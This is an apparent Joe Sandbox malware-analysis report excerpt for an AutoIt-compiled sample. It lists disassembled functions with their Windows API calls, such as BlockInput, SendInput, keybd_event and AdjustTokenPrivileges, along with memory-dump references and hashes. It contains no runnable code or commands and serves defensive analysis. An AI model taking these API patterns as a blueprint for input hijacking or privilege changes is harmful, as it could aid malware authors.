SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00EAB25D
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 00EAB270

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 131b2d1f9c689ffc3f1755cefac5018edd2efba88b509b9a8f17a2654ab7ae37
Instruction ID: f100df0233d6cb4157fc50c658961a1c90523dd702393bc27f4870fa254b78ab
Opcode Fuzzy Hash: 131b2d1f9c689ffc3f1755cefac5018edd2efba88b509b9a8f17a2654ab7ae37
Instruction Fuzzy Hash: D9F06D7080424EAFDB058FA1D805BEE7BB4FF08309F10804AF951A91A2C3799205DFA4

Function 00EA10BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00EA11FC), ref: 00EA10D4
CloseHandle.KERNEL32(?,?,00EA11FC), ref: 00EA10E9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: a36e9ef36e478b614ea89352a971a1e35bcd134b1808f505e8dfab81f6daa263
Instruction ID: 0d29c5fde237f6591117c915852a5adc3110294861df175df5346124028f6932
Opcode Fuzzy Hash: a36e9ef36e478b614ea89352a971a1e35bcd134b1808f505e8dfab81f6daa263
Instruction Fuzzy Hash: 04E04F32008601AEE7252B11FC06F7377E9EB04321F20882EF9A5904B1DB626C94DB10

Function 00E4CAF0 Relevance: 1.9, Strings: 1, Instructions: 659COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00E90C40

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: ecf939e3cb9d311f686b5e39df0f9eb3a3eea7596895a7452b597018e89d79ca
Instruction ID: 3895e5ae798c2d95135c5af48b799497c9a463ae74e532670823b01b8408a686
Opcode Fuzzy Hash: ecf939e3cb9d311f686b5e39df0f9eb3a3eea7596895a7452b597018e89d79ca
Instruction Fuzzy Hash: 4D328C70A01218DFCF54DF90E881AEDB7F5BF04308F646069E806BB292D775AE49CB51

Function 00E7676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00E76766,?,?,00000008,?,?,00E7FEFE,00000000), ref: 00E76998

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c4e062eb8f3ef88bf291c4039619f478634e0f4db52d0be5de11fc8545ebe67c
Instruction ID: 288c9deec47d916d0f88ff407f3ef69113f65278fb31594c8d494ade3caa8b58
Opcode Fuzzy Hash: c4e062eb8f3ef88bf291c4039619f478634e0f4db52d0be5de11fc8545ebe67c
Instruction Fuzzy Hash: D1B15A31510A099FEB19CF28C486BA47BA0FF4536CF25D658E99DDF2A2C335D985CB40

Function 00E5B119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 00E9851F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 27f27ef3bcaffaea332546f642ab64086685eae004bac4d2db74eede92c3336a
Instruction ID: 66d51a5b02c6600f08322ad3bf127e337dbbadeda0578f60d534046f4f0728a4
Opcode Fuzzy Hash: 27f27ef3bcaffaea332546f642ab64086685eae004bac4d2db74eede92c3336a
Instruction Fuzzy Hash: 65125E719002299FCF24CF58C9806EEB7F5FF48710F1495AAE849FB251EB309A85CB90

Function 00EBEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00EBEABD

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 1294b131ae9ee6417c5b89271af1979ba5c180dd9bc59e376be93220a9a760cd
Instruction ID: eabadcdb31dab44adf2383981fd2a70825f3b97093efa623a671b3c8c92d5891
Opcode Fuzzy Hash: 1294b131ae9ee6417c5b89271af1979ba5c180dd9bc59e376be93220a9a760cd
Instruction Fuzzy Hash: 61E01A312002049FC710EF6AE804EDAF7EDAF987A0F109416FC49E7391DA74E8448B90

Function 00E609D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00E603EE), ref: 00E609DA

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 128992c9a0924e98686d029631696cc138958293d2a4f309f701d02586dc4cb1
Instruction ID: a51352dea29d5da1aae6c28f4b69eb0c5a151e18a0a3b1a529b1576b1b15d2aa
Opcode Fuzzy Hash: 128992c9a0924e98686d029631696cc138958293d2a4f309f701d02586dc4cb1
Instruction Fuzzy Hash:

Function 00E6781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 00E6798B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: e28de22f18323e8738e4032b13a837609c76468a38f2786d242f951a0b6e3ed0
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: 815175616CC7155ADB3C8578B95A7FE67D59B823CCF183A09D8C2F7282C611EE41C352

Function 00E76DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4c0a90d39b8f0880a393ad7422cafc973ccc430c49948ee9628ca16e5862d6e
Instruction ID: d3b2989061178b3841704a7c655c19f9a09ee567bd8e524cc4acd4cc21fbcdd1
Opcode Fuzzy Hash: c4c0a90d39b8f0880a393ad7422cafc973ccc430c49948ee9628ca16e5862d6e
Instruction Fuzzy Hash: 61327722D28F454DD7239A35CC62335664DAFB33C9F15E33BF86AB99A5EB28C4834100

Function 00E5CC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23015ca265ea2371c5dc6969254b61d8b32be6b128f0564d495978259327052d
Instruction ID: 3b41a8e60b8ed503fe562693d5582591b50509ffd18e6437e78d4309345cc5ab
Opcode Fuzzy Hash: 23015ca265ea2371c5dc6969254b61d8b32be6b128f0564d495978259327052d
Instruction Fuzzy Hash: E3324D31A002458FDF24EF28C4A46BDBBA1EF45309F38A966D95AF7292D330DD85DB41

Function 00E47920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c661981942c9326ab62e578ba014bb8b4b33a9ae79768f9229e59dc4f1a69b
Instruction ID: 9418db575c0d50f9fca21dbfc9c19f26433baccc40a183e888a55ba99e9508dd
Opcode Fuzzy Hash: d8c661981942c9326ab62e578ba014bb8b4b33a9ae79768f9229e59dc4f1a69b
Instruction Fuzzy Hash: BA22AFB1A006099FDF14DF64D881AEEB3F6FF48304F146529E85AB7291EB359D14CB90

Function 00E491C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e8a787025919363c1b38b479032a460844f39833e7a39d928255ed52c541d6d
Instruction ID: 892e1c86a3e8f8972cbee48e23541117006a2f91213e732a5c85686458c9c86b
Opcode Fuzzy Hash: 8e8a787025919363c1b38b479032a460844f39833e7a39d928255ed52c541d6d
Instruction Fuzzy Hash: DD02A6B1E00119EBDB04EF64D881AAEB7F5FF44304F109565E81ABB391EB31AE14CB95

Function 00E79EEE Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1737cf7944651f8ce679964b7215a09e5dfaa4a85c1b3a9c82f525a178b9a9ff
Instruction ID: 84c53d66de31f4a72bf1407f37cd623394cc4164eac872639898fb2eeac84ca1
Opcode Fuzzy Hash: 1737cf7944651f8ce679964b7215a09e5dfaa4a85c1b3a9c82f525a178b9a9ff
Instruction Fuzzy Hash: C3B12520D2AF844DC323963A8875336B65CAFBB6C5F91D31BFC2679D22EB2285874140

Function 00E61C77 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 62f2a4ea21fa1a55fb805f44a572373cda1a1855bd72bbb6e4de06213bb6d9dd
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: F79178726480E34ADB2F463AA57407DFFE15A923E631E27DED4F2DA1C1EE20C554E620

Function 00E619B0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 7320e47ab629cd8acb4662a514797d1a60cd5577a2dca0ae13fc3e28191ed449
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 9E91A3322490E34ADB2F427AA57407DFFE15A923E631E27DDD4F2EA1C1FD148554E620

Function 00E67A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc81c82a6aefd173da273a4439c703ea70c765aeea8ca6fd5c29bf869fa744fe
Instruction ID: bbce84a6cb32f16bc6df218121047e9c2ecbbbb2aa125f319845ce9af0b00e5f
Opcode Fuzzy Hash: bc81c82a6aefd173da273a4439c703ea70c765aeea8ca6fd5c29bf869fa744fe
Instruction Fuzzy Hash: 2B6179312C830956DA349A68BDA5BFE63D6DF417CCF103A19E8C2FB281DA119E42C315

Function 00E67CA7 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8886071ef8d770af383eebb9520f45e43df3b2e81ea008822f76a9053935d752
Instruction ID: acce68d2c9d1cb7493d9f2f368231ab79c07bbd2f7d52aaa4c641c710ae7b0d9
Opcode Fuzzy Hash: 8886071ef8d770af383eebb9520f45e43df3b2e81ea008822f76a9053935d752
Instruction Fuzzy Hash: 8A6179316C870956DA388A28B955BBF23C49F437CCF103D5EE9C2FB281EA12AD46C355

Function 00E61706 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 5859ae1b45b1b9b2fc35fea00232732fc3132899b43aa822de467bfdc7a691be
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: 3D8161726480E30ADB6F823A953407EFFE15A923E531E27DED4F2DB1C1EE249554E620

Function 00EB2046 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2b2d792071d3d466ff05be23aaf14e1eefe31ddf6e4b421f8706f09f2ad14eb
Instruction ID: 75457d5ac0c09eb27e5ff6bf8dd96618d0c348003039c38630c43e025da7ed2e
Opcode Fuzzy Hash: f2b2d792071d3d466ff05be23aaf14e1eefe31ddf6e4b421f8706f09f2ad14eb
Instruction Fuzzy Hash: C721E7323206158BDB28CF79C8236BE73E5AB54310F158A2EE4A7D33D0DE35A904DB80

Function 00E5D071 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eccedda4d59d461ace39051ca89190d02fb05e6e9ef7f3bff90add423f835b6
Instruction ID: d93f52d3f7135b4b8f3aa4e95b6eea1228a09e60594e80fd9dd8b36be13ecfd8
Opcode Fuzzy Hash: 5eccedda4d59d461ace39051ca89190d02fb05e6e9ef7f3bff90add423f835b6
Instruction Fuzzy Hash: B9F0DE0204DEDABBCB5B0622987F1A66FB0C84702422807CF849B06BD79BCC109DC352

Function 00EC2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00EC2B30
DeleteObject.GDI32(00000000), ref: 00EC2B43
DestroyWindow.USER32 ref: 00EC2B52
GetDesktopWindow.USER32 ref: 00EC2B6D
GetWindowRect.USER32(00000000), ref: 00EC2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00EC2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00EC2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2CF8
GetClientRect.USER32(00000000,?), ref: 00EC2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00EC2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2D80
GlobalLock.KERNEL32(00000000), ref: 00EC2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2D98
GlobalUnlock.KERNEL32(00000000), ref: 00EC2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2DA8
GlobalFree.KERNEL32(00000000), ref: 00EC2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00EDFC38,00000000), ref: 00EC2DDB
GlobalFree.KERNEL32(00000000), ref: 00EC2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00EC2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00EC2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC303F

Strings

static, xrefs: 00EC2D3A, 00EC2E91
, xrefs: 00EC2FC5
AutoIt v3, xrefs: 00EC2CF2
DISPLAY, xrefs: 00EC2EA2

